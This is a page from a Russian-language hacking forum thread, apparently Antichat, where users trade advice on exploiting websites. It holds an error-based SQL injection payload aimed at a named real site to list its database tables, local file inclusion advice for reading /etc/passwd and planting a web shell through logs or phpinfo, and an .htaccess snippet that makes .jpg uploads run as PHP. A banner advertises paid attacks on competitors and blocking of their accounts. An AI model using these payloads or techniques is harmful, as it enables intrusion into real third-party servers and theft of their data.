Ваши вопросы по уязвимостям.

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Ваши вопросы по уязвимостям.

Страница 2013 из 2438

2013

Опции темы

Поиск в этой теме

Опции просмотра

#20121

21.03.2012, 05:11

Fooog

Постоянный

Регистрация: 19.09.2008

Сообщений: 511

С нами: 9285182

Репутация: 340

$⎛⎛\/⎞⎞$

Ребят, что делать если proc/self/environ пуст?

Хотя тут всё ок

proc/self/status

proc/self/cmdline (/usr/sbin/apache2-kstart)

etc/passwd

#20122

21.03.2012, 05:22

Tigger

Познавший АНТИЧАТ

Регистрация: 27.08.2007

Сообщений: 1,107

С нами: 9846041

Репутация: 1177

Fooog

Во-первых, к переменным окружения не всегда есть доступ.

Во-вторых, там не всегда есть данные, которыми можно манипулировать.

В -третьих, твои слова:

Цитата:

Сообщение от None

хоть с null байтом, хоть без

Звучат весьма, мммммм, эпично =\

#20123

21.03.2012, 11:02

Fooog

Постоянный

Регистрация: 19.09.2008

Сообщений: 511

С нами: 9285182

Репутация: 340

$⎛⎛\/⎞⎞$

ну так а что в таком случае делать?

#20124

21.03.2012, 11:28

qaz

Познавший АНТИЧАТ

Регистрация: 12.07.2010

Сообщений: 1,546

С нами: 8334326

Репутация: 75

Цитата:

Сообщение от Fooog

Tigger, я только вчера LFI уязвимость начал разбирать ;D
зы
ну так а что в таком случае делать?

искать логи и заливать шел через них

#20125

21.03.2012, 13:03

Pirotexnik

Постоянный

Регистрация: 13.10.2010

Сообщений: 375

С нами: 8200406

Репутация: 38

Цитата:

Сообщение от Fooog

Tigger, я только вчера LFI уязвимость начал разбирать ;D
зы
ну так а что в таком случае делать?

Если на сервере (именно на всем сервере на любом сайте) есть phpinfo - можно спокойно залить шелл через LFI.

#20126

21.03.2012, 15:00

smirk

Участник форума

Регистрация: 08.09.2011

Сообщений: 137

С нами: 7725206

Репутация: 26

как раскрутить через error based?

http://www.sirirajmedj.com/content.php?content_id=2554

#20127

21.03.2012, 15:09

Ereee

Постоянный

Регистрация: 01.12.2011

Сообщений: 560

С нами: 7604246

Репутация: 267

Цитата:

Сообщение от smirk

как раскрутить через error based?
http://www.sirirajmedj.com/content.php?content_id=2554

Например так:

http://www.sirirajmedj.com/content.php?content_id=2554+and(select+1+from(sele ct+count(*),concat((select+table_name+from+informa tion_schema.tables+limit+1,1),floor(rand(0)*2))x+f rom+information_schema.tables+group+by+x)a)--

Смотри исходник(внизу):

Код:

#20128

21.03.2012, 15:30

qaz

Познавший АНТИЧАТ

Регистрация: 12.07.2010

Сообщений: 1,546

С нами: 8334326

Репутация: 75

а вот такой вопрос, залил шелл на сайт через админку, открываю его а мне пишет

500 Внутренняя ошибка сервера, я тут гдето видел что нужно залить файл htaccess а что в нём должно быть написано чтобы всё работало?

#20129

21.03.2012, 15:38

Faaax

Постоянный

Регистрация: 30.08.2010

Сообщений: 327

С нами: 8263766

Репутация: 11

Код:

AddType application/x-httpd-php .jpg 
AddHandler application/x-httpd-php .jpg

#20130

21.03.2012, 15:40

smirk

Участник форума

Регистрация: 08.09.2011

Сообщений: 137

С нами: 7725206

Репутация: 26

Цитата:

Сообщение от Ereee

Например так:
http://www.sirirajmedj.com/content.php?content_id=2554+and(select+1+from(sele ct+count(*),concat((select+table_name+from+informa tion_schema.tables+limit+1,1),floor(rand(0)*2))x+f rom+information_schema.tables+group+by+x)a)--
Смотри исходник(внизу):

Код:

спасибо большое, ток я не могу тебе + поставить

Страница 2013 из 2438

2013

Предыдущая тема Следующая тема

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился)	PEPSICOLA	Болталка	188	23.05.2010 10:05
Ваши любимые компьютерные игры	PEPSICOLA	Болталка	280	19.08.2009 00:01
Ваши телеги...	F-IFTY	Болталка	13	18.08.2009 18:22
Вопросы по Ipb 2.0	Voodoo_People	Уязвимости CMS / форумов	26	15.02.2005 22:57

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход